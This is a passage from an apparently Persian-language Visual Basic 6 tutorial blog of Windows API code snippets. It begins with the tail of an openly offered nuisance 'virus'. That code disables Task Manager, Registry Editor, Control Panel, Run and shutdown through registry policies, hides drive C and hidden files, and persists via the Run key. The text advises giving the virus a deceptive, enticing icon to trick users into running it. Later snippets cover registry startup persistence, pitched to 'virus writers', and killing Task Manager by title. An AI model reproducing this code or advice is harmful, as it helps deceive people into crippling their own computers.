    Call ChangeNameAndCompanyName
End Sub

Private Sub DisableRegEdit()
    Call SaveString(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", 1, REG_DWORD, 4)
End Sub

Private Sub DisableTaskManager()
    Call SaveString(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 1, REG_DWORD, 4)
End Sub

Private Sub DisableDisplayProperties()
    Call SaveString(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "NoDispCPL", 1, REG_DWORD, 4)
End Sub

Private Sub DisableShutdown()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoClose", 1, REG_DWORD, 4)
End Sub

Private Sub DisableSearch()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFind", 1, REG_DWORD, 4)
End Sub

Private Sub DisableMyComputerProperties()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoPropertiesMyComputer", 1, REG_DWORD, 4)
End Sub

Private Sub DisableRun()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoRun", 1, REG_DWORD, 4)
End Sub

Private Sub DisableAllPrograms()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoStartMenuMorePrograms", 1, REG_DWORD, 4)
End Sub

Private Sub HideDrive_C()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDrives", 4, REG_DWORD, 4)
End Sub

Private Sub DisableControlPanel()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoControlPanel", 1, REG_DWORD, 4)
End Sub

Private Sub DisableFolderOption()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", 1, REG_DWORD, 4)
End Sub

Private Sub DontShowHiddenFiles()
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN", "CheckedValue", 2, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL", "CheckedValue", 0, REG_DWORD, 4)
    Call SaveString(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0, REG_DWORD, 4)
End Sub

Private Sub DontShowSuperHiddenFiles()
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden", "CheckedValue", 0, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden", "UncheckedValue", 0, REG_DWORD, 4)
    Call SaveString(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "SuperHidden", 0, REG_DWORD, 4)
End Sub

Private Sub DisableAddRemove()
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddRemovePrograms", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddFromCDorFloppy", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddFromInternet", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddFromNetwork", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoAddPage", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoRemovePage", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoServices", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoSetFolders", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoSupportInfo", 1, REG_DWORD, 4)
    Call SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall", "NoWindowsSetupPage", 1, REG_DWORD, 4)
End Sub

Private Sub ChangeNameAndCompanyName()
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", keyhand)
    r = RegSetValueEx(keyhand, "RegisteredOwner", 0, REG_SZ, ByVal "Amir Amiri", Len("Amir Amiri"))
    r = RegSetValueEx(keyhand, "RegisteredOrganization", 0, REG_SZ, ByVal "Http://V-Basic.Mihanblog.Com", Len("Http://V-Basic.Mihanblog.Com"))
    r = RegCloseKey(keyhand)
End Sub

Public Sub AddToRun(ProgramName As String, FileToRun As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", keyhand)
    r = RegSetValueEx(keyhand, ProgramName, 0, REG_SZ, ByVal FileToRun, Len(FileToRun))
    r = RegCloseKey(keyhand)
End Sub

برنامه رو ذخيره كنيد و ازش يه فايل اجرايي بسازيد و اجراش کنید تا بیچاره بشید. سعی کنید برای ویروستون یک آیکون گول زننده و جذاب بذارید تا کاربر به محض مشاهده حس کنجکاویش کار دستش بده. تا اینجا تونستید یک ویروس بسازید ولی اگر اجراش کنید واقعاً بیچاره میشید پس دست نگه دارید. هر ویروسی باید یک آنتی ویروس داشته باشه و چون ویروس ما به شدت آزار دهنده و کمی هم مخربه پس باید آنتی ویروسشو در کنارش داشته باشید. ویروس ما محدودیت هایی رو به کاربر اعامل میکنه که شما میدونید اون محمدودیت ها چی هستن و چه طور اعمال شدن پس میتونید به راحتی اونا رو خنثی کنید. موفق باشيد.

توابع API

ساخت Link برای سایت یا وبلاگ (درخواستی)

یک پروژه جدید باز کنید و توش یک Label بزارید و کدهای زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Form_Load()
    Label1.Caption = "www.v-basic.mihanblog.com"
End Sub

Private Sub Label1_Click()
    Link Label1.Caption
End Sub

Public Function Link(ByVal URL As String) As Long
    Link = ShellExecute(0&, vbNullString, URL, vbNullString, vbNullString, vbNormalFocus)
End Function

حالا برنامتون رو اجرا كنيد و روي Label كليك كنيد تا وارد سايت مربروطه بشه، به همين سادگي. موفق باشید.

امکان شماره گیری تلفن با برنامه شما

اینکار خیلی آسونه. یک پروژه جدید باز کنید و تو فرمتون یک Command Button و یک TextBox بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function tapiRequestMakeCall Lib "TAPI32.DLL" (ByVal Dest As String, ByVal AppName As String, ByVal CalledParty As String, ByVal Comment As String) As Long

Private Sub Command1_Click()
    tapiRequestMakeCall Text1.Text, "", "", ""
End Sub

حالا برنامه رو اجرا کنید و تو TextBox شماره تلفن رو وارد کنید و کلید Command1 رو بزنید، میبینید که شماره گیری توسط خود ویندوز انجام میشه و احتیاجی نیست که شما کاری انجام بدید. موفق باشید.

پخش فایلهای MP3 از درون برنامه شما (کد اصلی)

اصل کدش رو از یه جایی کش رفتم و برای شما عزیزان گذاشتم تا نظرای خوب خوب بدید.

یک پروژه جدید باز کنید و تو فرمتون یک TextBox و دو تا Command Button بزارید بعد از Command Button اول یک کپی بگیرید و Paste کنید تا آرایه ساخته بشه و بعد کد زیر رو تو قسمت جنرال فرمتون کپی کنید و برنامه رو اجرا کنید :

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Dim isPlaying As Boolean
Dim Mp3File As String

Private Sub Command1_Click(Index As Integer)
    Mp3File = Chr$(34) + Trim(Text1.Text) + Chr$(34)
    Select Case Index
        Case 0
            mciSendString "open " + Mp3File, 0&, 0&, 0&
            mciSendString "play " + Mp3File, "", 0&, 0&
            isPlaying = True
        Case 1
            mciSendString "close " + Mp3File, 0&, 0&, 0&
            isPlaying = False
    End Select
End Sub

Private Sub Command2_Click()
    Unload Me
End Sub

Private Sub Form_Load()
    Command1(0).Caption = "Start"
    Command1(1).Caption = "Stop"
    Command2.Caption = "Exit"
End Sub

Private Sub Form_Unload(Cancel As Integer)
    If isPlaying = True Then
        mciSendString "close " + Mp3File, 0&, 0&, 0&
    End If
End Sub

حالا تو TextBox آدرس یک فایل MP3 رو وارد کنید و دکمه Start رو بزنید، موسیقی پخش میشه، به همین سادگی. لازم به ذکره که این کد بارها و بارها تست شده و هیچ گونه مشکلی نداره اگر کسی به مشکلی برخورد در قسمت نظرات مطرح کنه. موفق باشید.

قرار دادن برنامه در Startup

برای اینکار دو روش وجود داره؛ روش اول اینه که برنامه رو در پوشه Startup کپی کنیم که روش جالبی نیستچون کاربر میتونه به اون پوشه به و فایل رو پاک کنه و امّا روش دوّم (قابل توجّه ویروس نویسا) اینه که برنامه رو تو لیست برنامه های Startup در رجیستری ذخیره کنیم که روش مطمئن و بهتریه چون کاربر نمیدونه برنامه کجا قرار داره و از کجا اجرا میشه مگر اینکه از طریق رجیستری و یا برنامه System Configuration Utility (تایپ msconfig در Run ویندوز) متوجه مسیر برنامه بشه که خب خوشبختانه همه اینکارو بلد نیستن.

به ترتیب روش اول و بعد روش دوّم رو آموزش میدم. برای اجرای برنامه در Startup از طریق روش اول باید درایوی رو که ویندوز اونجا نصب شده و بدونید که من این کارو با توابع API انجام دادم. یک پروژه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Dim strSource As String, strDest As String

Private Sub Form_Load()
    If App.PrevInstance = True Then End
    strSource = App.Path & IIf(Len(App.Path) > 0, "\", Empty)
    strSource = strSource & App.EXEName & ".exe"
    strDest = WinDrive & "Documents and Settings\All Users\Start Menu\Programs\Startup\"
    FileCopy strSource, strDest & App.EXEName & ".exe"
End Sub

Private Function WinDrive() As String
    Dim strDrive As String
    strDrive = Space(500)
    A = GetWindowsDirectory(strDrive, Len(strDrive))
    strDrive = Left(strDrive, 3)
    WinDrive = strDrive
End Function

اگه برنامه رو اجرا کنید فایل اجرایی برنامه تو پوشه Startup کپی میشه و با هر بار بالا اومدن ویندوز برنامه شما هم اجرا میشه. ولی روش دوّم، برای اینکار باید توابعی رو تعریف کنیم که با رجیستری سر و کار دارن و من این کارو برای راحتی شما انجام دادم. یک پروژه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

Dim strAppPath As String

Private Sub Command1_Click()
    AddToRun App.Title, strAppPath
End Sub

Private Sub Command2_Click()
    RemoveFromRun App.Title
End Sub

Private Sub Form_Load()
    Command1.Caption = "Add to Run"
    Command2.Caption = "Remove from Run"
    strAppPath = IIf(Len(App.Path) > 3, App.Path & "\", App.Path)
    strAppPath = strAppPath & App.EXEName & ".exe"
End Sub

'---------------------------------------------

Private Sub AddToRun(ProgramName As String, FileToRun As String)
    Call SaveString("Software\Microsoft\Windows\CurrentVersion\Run", ProgramName, FileToRun)
End Sub

Private Sub RemoveFromRun(ProgramName As String)
    Call DeleteValue("Software\Microsoft\Windows\CurrentVersion\Run", ProgramName)
End Sub

Private Sub SaveString(strPath As String, strValue As String, strdata As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_LOCAL_MACHINE, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
    r = RegCloseKey(keyhand)
End Sub

Private Function DeleteValue(ByVal strPath As String, ByVal strValue As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegOpenKey(HKEY_LOCAL_MACHINE, strPath, keyhand)
    r = RegDeleteValue(keyhand, strValue)
    r = RegCloseKey(keyhand)
End Function

اگه برنامه اجرا بشه، مسیر فایل اجرایی برنامه در رجیستری ذخیره شده و در هر بار اجرای برنامه همراه برنامه های دیگه اجرا میشه. به همین سادگی. موفق باشید.

تعویض کلیک چپ و راست موس

یک پروژه جدید باز کنید و تو فرمتون یک Command Button و دو تا Option Button بزارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function SwapMouseButton Lib "User32" (ByVal bSwap As Long) As Long

Private Sub Command1_Click()
    Call SwapMouseButton(Option1.Value)
End Sub

Private Sub Form_Load()
    Option1.Caption = "Right"
    Option2.Caption = "Left"
End Sub

حالا برنامه رو اجرا کنید و با کلیک روی Option Button ها و بعد کلیک روی Command1 جای کلیک چپ و راست موس رو عوض کنید. به همین سادگی. موفق باشید.

بستن برنامه ها یا همون End Task کردن برنامه ها

براین بستن برنامه ها باید بدونید که عنوان (Title) برنامه چیه. مثلاً عنوان برنامه ماشین حساب Calculator هستش و عنوان برنامه Task Manager هست .Windows Task Manager در واقع این قطعه کد هر برنامه ای رو از روی عنوان اون میبنده.

یک پروژه جدید باز کنید و تو فرمتون یک Command Button و یک TextBox بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Sub CloseProgram(ByVal Caption As String)
    On Error Resume Next
    Handle = FindWindow(vbNullString, Caption)
    If Handle = 0 Then Exit Sub
    SendMessage Handle, &H10, 0&, 0&
End Sub

Private Sub Command1_Click()
    Call CloseProgram(Text1.Text)
End Sub

حالا برنامه رو اجرا کنید، بعد برنامه Task Manager رو اجرا کنید (Alt + Ctrl + Del) و تو TextBox تایپ کنید Windows Task Manager و کلید Command1 رو بزنید، میبینید که برنامه Task Manager بسته شد، به همین سادگی. موفق باشید.

نامرئی کردن قسمتهای اضافی فرم (برای گذاشتن اسکین خوبه)

این کد خیلی کاربردیه، حتماً به دردتون مبخوره. این کد باعث میشه که گوشه ها و قسمتهای اضافی فرم حذف بشه و فقط جاهایی که شما میخواید، قابل رویت باشه. مانند اسکین های Windows Media Player که بسیار زیباست.

یک پروژه جدید باز کنید و داخل فرمتون یک شئ Shape بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function GetWindowLong Lib "User32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "User32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long

Const LWA_COLORKEY = &H1
Const GWL_EXSTYLE = (-20)
Const WS_EX_LAYERED = &H80000
Const BM_SETSTATE = &HF3

Private Sub Form_Load()
    Dim Ret As Long
    Dim CLR As Long
    Me.BackColor = RGB(1, 1, 1)  ' تعیین رنگ پس زمینه فرم
    CLR = Me.BackColor
    Ret = GetWindowLong(Me.hWnd, GWL_EXSTYLE)
    Ret = Ret Or WS_EX_LAYERED
    SetWindowLong Me.hWnd, GWL_EXSTYLE, Ret
    SetLayeredWindowAttributes Me.hWnd, CLR, 0, LWA_COLORKEY
End Sub

طرز کار : قسمتهای مشکی رنگ فرم رو حذف میکنه به همین سادگی حالا اگه بر حسب اتفاق شما مجبورید که از رنگ مشکی به عنوان پس زمینه فرمتون استفاده کنید باید در اون قسمتی که رنگ پس زمینه فرم تعیین میشه (به کد نگاه کنید) رنگ سفبد رو تعیین کنید یعنی Me.BackColor = RGB (255, 255, 255) به همین سادگی. در واقع این کد رنگی رو که شما تعیین میکنید رو از هر جای فرم حذف میکنه حتی اگه اون رنگ در وسط فرم باشه که در این صورت وسط فرم خالی میشه و هر چیزی که در پشت فرم قرار داره رو میشه از اون سوراخ دید. موفق باشید.

شفاف کردن فرم به صورت شیشه ای و مات

یک پروژه جدید باز کنید و تو قسمت جنرال فرمتون کدهای زیر رو کپی کنید :

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long

Private Sub Command1_Click()
    Dim Retval As Long
    Retval = GetWindowLong(hWnd, -20)
    Retval = Retval Or 524288
    SetWindowLong hWnd, -20, Retval
    SetLayeredWindowAttributes hWnd, 0, Val(Text1.Text), 2
End Sub

Private Sub Form_Load()
    Text1.Text = 100
    Command1_Click
End Sub

تو TextBox یک عدد از 0 تا 255 وارد کنید و کلید Command1 رو بزنید و شاهد شفاف شدن فرم باشید. فقط توجه داشته باشید که اگه از اعداد پایین مثل 1 استفاده کنید فرمتون تقریباً نامرئی میشه پس بهتون پیشنهاد میکنم تا حد امکان از اعداد بالای 50 استقاده کنید. موفق باشید.

قفل کردن تمام ورودی ها مثل Keyboard و Mouse

این کار با تابع BlockInput انجام میشه و تمام ورودیهای کامپیوتر رو قفل میکنه. توجه داشته باشید که سیستم عامل هنگ نمیکنه و به کار خودش ادامه میده امّا شما نمیتونید هیچ کاری انجام بدید به جز Restart کردن.

یک پروژه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
    BlockInput True
    Sleep 5000
    BlockInput False
End Sub

به محض شروع برنامه، تمام وروردیها به مدّت 5 ثانیه قفل میشن و بعد از اون دوباره به حالت اول برمیگردن. در اینجا تابع Sleep فقط برای اتلاف وقت به کار رفته و استفاده دیگه ای نداره. موفق باشید.

قرار دادن فرم بر روی تمام پنجره ها (حالت Always On Top برای فرم)

با این کد فرم شما بر روی همه پنجره های قرار میگیره، مانند Windows Task Manager که همیشه رو قرار میگیره.

یک پروزه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)

Private Sub SetTopMost(frm As Form, ByVal blnMod As Boolean)
    If blnMod Then
        SetWindowPos frm.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
    Else
        SetWindowPos frm.hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
    End If
End Sub

Private Sub Check1_Click()
    Call SetTopMost(Me, Check1.Value)
End Sub

با علامت دار کردن CheckBox فرم همیشه رو قرار میگیره و با برداشتن علامت فرم به حالت عادی برمیگرده. موفق باشید.

اعمال مشخصه RightToLeft به کنترلهایی که فاقد این مشخصه اند

در این روش شما میتونید به هر کنترلی این مشخصه رو اعمال کنید، حتی کنترلهایی که فاقد این مشخصه هستند مثل DirListBox به صورت از راست به چپ در میان. درضمن اگه با فرمتون اینکارو بکنید میبینید که واقعاً به صورت از راست به چپ درمیاد یعنی دکمه Close، Minimize و Maximize از سمت راست فرم به سمت چپ فرم انتقال پیدا میکنن.

یک پروژه جدید باز کنید و یک DirListBox به فرمتون اضافه کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Private Sub Form_Load()
    SetWindowLong Me.hWnd, -20, GetWindowLong(Me.hWnd, -20) Or &H400000
    SetWindowLong Dir1.hWnd, -20, GetWindowLong(Dir1.hWnd, -20) Or &H400000
End Sub

حالا برنامه رو اجرا کنید و شاهد تغییراتی که در حالت معمولی غیر ممکن بودن باشید. موفق باشید.

درگ کردن فرم به وسيله يك كنترل (بهترین و مطمئن ترین روش)

اینکار که با توابع API به روش ویندوز انجام میشه، بهترین، مطمئن ترین، ساده ترین و سریع ترین روش برای درگ (Drag) کردنه فرمه. در ضمن در این روش بوسیله یک کنترل هم میشه فرم رو درگ کرد.

یک پروژه جدید باز کنید و توش یک Command Button و یک Label بذارید و کد زیر رو قسمت جنرال فرمتون کپی کنید :

Private Declare Function ReleaseCapture Lib "user32.dll" () As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim lngReturnValue As Long

    If Button = 1 Then
        Call ReleaseCapture
        lngReturnValue = SendMessage(Me.hWnd, &HA1, 2, 0&)
    End If
End Sub

حالا یک بار بوسیله Label و یک بار هم بوسیله Command Button سعی کنید فرمتون رو درگ کنید. اگه بخواید بوسیله Label هم درگ بشه میتونید از کد داخل رویداد Command1_MouseMove برای رویداد Label1_MouseMove استفاده کنید به همین سادگی. موفق باشید.

آموزشهای کاربردی VB

ساعت عقربه ای (آنالوگ)

یک پروژه جدید باز کنید و تو فرمتون یک Timer بذارید و Interval اونو 1000 بذارید، حالا کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Sub Form_Load()
    Me.BackColor = vbBlack
End Sub

Private Sub Timer1_Timer()
    Form1.Refresh
    X = Form1.Width / 2
    Y = Form1.Height / 2.2
    Circle (X, Y), Y - 200, vbWhite
    Circle (X, Y), Y - 220, vbWhite
    For i = 1 To 12
        Circle (X + (Y - 400) * Cos(i * 22 / 42), Y + (Y - 400) * Sin(i * 22 / 42)), 50, vbRed
    Next
    h = Hour(Time())
    If h > 12 Then
        h = h – 12
    End If
    m = Minute(Time())
    s = Second(Time())
    Line (X, Y)-(X + (Y - 600) * Cos((66 / 14 + s * (44 / 420))), Y + (Y - 600) * Sin((66 / 14 + s * (44 / 420)))), vbBlue
    Line (X, Y)-(X + (Y - 800) * Cos((66 / 14 + m * (44 / 420))), Y + (Y - 800) * Sin((66 / 14 + m * (44 / 420)))), vbYellow
    Line (X, Y)-(X + (Y - 1200) * Cos(66 / 14 + h * (44 / 84) + (m / 12) * (44 / 420)), Y + (Y - 1200) * Sin(66 / 14 + h * (44 / 84) + (m / 12) * (44 / 420))), vbWhite
End Sub

حالا برنامه رو اجرا کنید و ببینید که ساعت به چه زیبایی کار میکنه. موفق باشید.

اختصاص پسوند فایلها به برنامه (مبحث مهم)

خوب اول بذارید با یه مقدمه درس رو شروع کنم تا مطلب رو بهتر بگیرید، شما ها همتون خوب میدونید که وقتی روی یک تصویر (Jpeg یا bmp یا GIF و یا غیره) دوبار کلیک می کنید نرم افزار Preview که مخصوص ویندوزه اجرا میشه و تصویر رو نشون میده.

حالا ما میخوایم بدونیم که چطوری این اتفاق میفته؟ یعنی اگه ما بخوایم یک نرم افزار مثل Preview یا Notepad بسازیم که با دوبار کلیک روی فایل، برنامه ما به اجرا در بیاد، باید چه کار کنیم؟

امّا عجله نکنید من برای این مشکل که مبحث مهمّی هم هست یک جواب پیدا کردم ولی یه خواهشی ازتون دارم اگه این آموزش رو تا تهش خوندید و براتون مفید بود حتماً نظر بدید در ضمن، نپرسید که درباره خط فلان یکم توضیح بده. آخه توضیح رو میخوای چه کار؟ کد رو بردار استفاده کن دیگــــــه.

یک پروژه جدید باز کنید و توش یک شئ Image بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Sub SHChangeNotify Lib "shell32.dll" (ByVal wEventId As Long, ByVal uFlags As Long, dwItem1 As Any, dwItem2 As Any)

Private Sub Form_Load()
    Image1.Stretch = True
    Image1.Move 0, 0, Me.ScaleWidth, Me.ScaleHeight
    '
    RegisterFile ".BMP"
    RegisterFile ".JPG"
    RegisterFile ".GIF"
    RegisterFile ".WMF"
    RegisterFile ".EMF"
    '
    On Error Resume Next
    If Len(Command()) > 0 Then
        Image1.Picture = LoadPicture(FixPath(Command()))
    End If
End Sub

Private Sub RegisterFile(strPasvand As String)
    Dim sKeyName As String   ' Holds Key Name in registry.
    Dim sKeyValue As String  ' Holds Key Value in registry.
    Dim ret&           ' Holds error status if any from API calls.
    Dim lphKey&        ' Holds  key handle from RegCreateKey.
    Dim path As String
   
    path = App.path
    If Right(path, 1) <> "\" Then
       path = path & "\"
    End If
   
    ' This creates a Root entry called "PicturePreview".
    sKeyName = "PicturePreview" ' Project Name
    sKeyValue = "Picture"
    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)
    ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&)
   
    ' This creates a Root entry called .BMP;.JPG;.GIF;.WMF associated with "PicturePreview".
    sKeyName = strPasvand
    sKeyValue = "PicturePreview" ' Project Name
    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)
    ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&)
   
    ' This sets the command line for "PicturePreview".
    sKeyName = "PicturePreview" ' Project Name
    sKeyValue = path & App.EXEName & ".exe %1"
    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)
    ret& = RegSetValue&(lphKey&, "shell\open\command", REG_SZ, sKeyValue, MAX_PATH)
   
    ' This sets the icon for the file extension
    sKeyName = "PicturePreview" ' Project Name
    sKeyValue = path & "MyIcon.ico"
    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)
    ret& = RegSetValue&(lphKey&, "DefaultIcon", REG_SZ, sKeyValue, MAX_PATH)
   
    ' This notifies the shell that the icon has changed
    SHChangeNotify SHCNE_ASSOCCHANGED, SHCNF_IDLIST, 0, 0
End Sub

Public Function FixPath(strPath As String) As String
    Dim strTemp As String
    strTemp = strPath
    strChar = """"
    If Len(strTemp) > 0 Then
        If Mid(strTemp, 1, 1) = strChar Then strTemp = Right(strTemp, Len(strTemp) - 1)
        If Mid(strTemp, Len(strTemp), 1) = strChar Then strTemp = Left(strTemp, Len(strTemp) - 1)
    End If
    FixPath = strTemp
End Function

خوب حالا از برنامتون یک فایل اجرایی (.exe) بسازید و همچنین یک آیکون که بیانگر فایلهای تصویری باشه با نام MyIcon.ico کنار فایل اجرایی که ساختبد قرار بدید.

توجّه : این آیکون (MyIcon.ico) همیشه بایددر کنار  فایل اجرایی برنامتون باشه، در غیر اینصورت شکل فایلهای تصویری که قراره با برنامه شما باز بشن به شکل فایلهای ناشناخته در میاد.

نکته : برنامه حداقل باید یک بار اجرا بشه تا تاثیراتش رو روی ویندوز و فایل های تصویری بذاره.

